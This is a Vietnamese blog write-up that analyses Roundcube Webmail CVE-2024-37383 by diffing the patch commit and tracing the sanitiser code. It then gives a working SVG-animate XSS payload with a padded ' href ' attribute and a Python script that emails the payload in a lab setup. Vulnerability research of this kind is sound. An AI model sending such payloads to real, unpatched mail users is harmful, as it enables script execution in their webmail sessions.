0. Giới thiệu
- Gần đây, tôi đã bắt đầu tìm hiểu sâu hơn về các lỗ hổng bảo mật client-side, cách vượt qua WAF và các bộ lọc. Tôi tình cờ phát hiện rằng Roundcube đã phát hành bản vá cho một lỗ hổng XSS. Sau khi nghiên cứu, tôi nhận thấy mã nguồn của Roundcube tương đối nhỏ gọn và phổ biến, vì vậy tôi đã quyết định dành thời gian để tìm hiểu kỹ hơn về các lỗi trong Roundcube.
- Bài viết này sẽ phân tích chi tiết về CVE-2024-37383 mà tôi đã nghiên cứu.
I. Tổng quan về CVE-2024-37383
- Roundcube Webmail phiên bản trước 1.5.7 và 1.6.x trước phiên bản 1.6.7 cho phép tấn công XSS thông qua các thuộc tính SVG animate.
- Thông tin về CVE:
- Ngày công bố: 06/07/2024
- Điểm CVSS: Chưa xác định
- Phương pháp phân tích lỗ hổng của tôi chủ yếu dựa vào việc so sánh các commit vá lỗi. Do Roundcube là mã nguồn mở, tôi đã xem mã nguồn trên GitHub ngay.
II. Phân Tích Lỗ Hổng
- Đường dẫn đến commit vá lỗ hổng của Roundcube là: Fix cross-site scripting (XSS) vulnerability in handling SVG animate. Chỉ có file
program/lib/Roundcube/rcube_washtml.php
được thay đổi:
1. Đánh Giá Thông Tin Từ Commit và Mô Tả Lỗi
- Thông tin từ commit cho thấy chỉ có dòng 544 trong
rcube_washtml.php
được thay đổi, điều này rất thuận lợi để tập trung vào việc đưa dữ liệu không tin cậy đến vị trí này. - Bản vá chủ yếu chỉ thêm hàm
trim()
để xử lý biến$attr->nodeValue
, do đó, payload có thể liên quan đến các ký tự mà hàmtrim()
xử lý như: dấu cách, NULL, tab, dòng mới, v.v.
2. Phân Tích Chức Năng và Vị Trí Dữ Liệu Không Tin Cậy
-
Chức năng của
rcube_washtml.php
là đảm bảo rằng nội dung HTML hiển thị trên Roundcube là an toàn bằng cách xử lý nội dung HTML, loại bỏ hoặc vô hiệu hóa các thành phần và thuộc tính có thể dẫn đến lỗ hổng bảo mật XSS. -
Dữ liệu không tin cậy bao gồm toàn bộ nội dung email mà Roundcube cho phép gửi và xử lý dưới dạng HTML.
-
Trong commit vá lỗi, dòng mã thứ 544 được sửa lại thuộc hàm
private static function attribute_value($node, $attr_name, $attr_value)
. -
Hàm
attribute_value
kiểm tra xem$node
có thuộc tính$attr_name
với giá trị$attr_value
hay không và trả vềtrue
nếu có. -
Hàm
attribute_value
chỉ được gọi một lần tại hàmprivate function dumpHtml($node, $level = 20)
ở dòng 603, qua đó chặn một số thẻ SVG không an toàn. -
Để đến được dòng 603, email cần có định dạng XML.
-
Ví dụ nội dung email:
xml<profile> John Doe <email>john.doe@example.com</email> <phone>123-456-7890</phone> </profile>
3. Phân Tích Codeflow của Lỗ Hổng
- Đặt breakpoint ở đầu hàm
dumpHtml
(dòng 564) và thử với payload có thẻsvg
:xml<svg> TEST 1 </svg>
- Với payload này, breakpoint ở dòng 564 đã hit và call stack như sau:
- webmail/index.php: điểm đầu vào xử lý các request của người dùng.
- webmail/program/include/rcmail.php: lớp
rcmail
đóng vai trò cốt lõi, điều phối mọi thứ.
- Tại dòng 276, với action là
show
, sẽ khởi tạo đối tượng của classrcmail_action_mail_show
và gọi hàmrun()
để xử lý và hiển thị nội dung email. - Hàm
message_body
trong webmail/program/actions/mail/show.php sẽ gọi hàmprint_body
để hiển thị nội dung email.
4. Phân Tích Hàm wash($html) và dumpHtml($node, $level = 20)
4.1. Hàm wash($html)
- Với nội dung email chứa SVG, hàm sẽ thêm các thẻ HTML, HEAD và META. Dữ liệu sau đó được xử lý thành DOM tree và gửi vào hàm
dumpHtml($node)
.
4.2. Hàm dumpHtml($node, $level = 20)
- Hàm này lọc và xử lý nội dung HTML qua việc duyệt đệ quy DOM tree, xuất ra các nội dung HTML cho phép. Điều kiện ở dòng 603 kiểm tra thuộc tính ‘href’ và do có dòng thêm
trim()
, điều này đã dẫn đến lỗ hổng.
III. Xây Dựng Payload
- Từ việc phân tích, tôi đã tạo payload sau:
xml
<svg><animate attributeName=" href " values="javascript:alert(1)"/><text x="100" y="100">CLICK MEEE</text></svg>
- Bằng cách thêm khoảng trắng trước và sau thuộc tính
href
, hàmattribute_value
không bình thường xử lý, dẫn đến việc khai thác thành công XSS.
IV. Kết Luận
-
Đoạn mã Python dưới đây gửi email chứa payload để kích hoạt XSS:
pythonimport smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # Cấu hình email sender_email = "admin@newbie2k4.lab" receiver_email = "rc166@newbie2k4.lab" password = "newbie2k4pw" message = MIMEMultipart() message["From"] = sender_email message["To"] = receiver_email message["Subject"] = "POC-Newbie2k4.CVE-2024-37383" html_body = """ <svg><animate attributeName=" href " values="javascript:alert('Newbie2k4')"/><text x="100" y="100">CLICK MEEE</text></svg> """ message.attach(MIMEText(html_body, "html")) # Gửi email try: server = smtplib.SMTP("localhost", 587) server.starttls() server.login(sender_email, password) text = message.as_string() server.sendmail(sender_email, receiver_email, text) print("[+] Email sent successfully!!") except Exception as e: print("[-] Sending email failed, an error occurred: ", str(e)) finally: server.quit()
-
Lỗi xảy ra do không nhất quán giữa thời điểm xử lý và thời điểm sử dụng dữ liệu. Lỗ hổng này dễ bị tấn công bằng một cú click đơn giản từ người dùng.
-
Roundcube webmail là một trong những chương trình gửi/nhận email phổ biến nhất hiện nay, với giao diện thân thiện và tính bảo mật cao.
V. Tài Liệu Tham Khảo
- Hướng dẫn cài đặt Roundcube: Vultr Docs
- Hướng dẫn Debug: Viblo
- HackMD về XSS
- Bài viết XSS với SVG
- Thông báo bảo mật về Roundcube.
source: viblo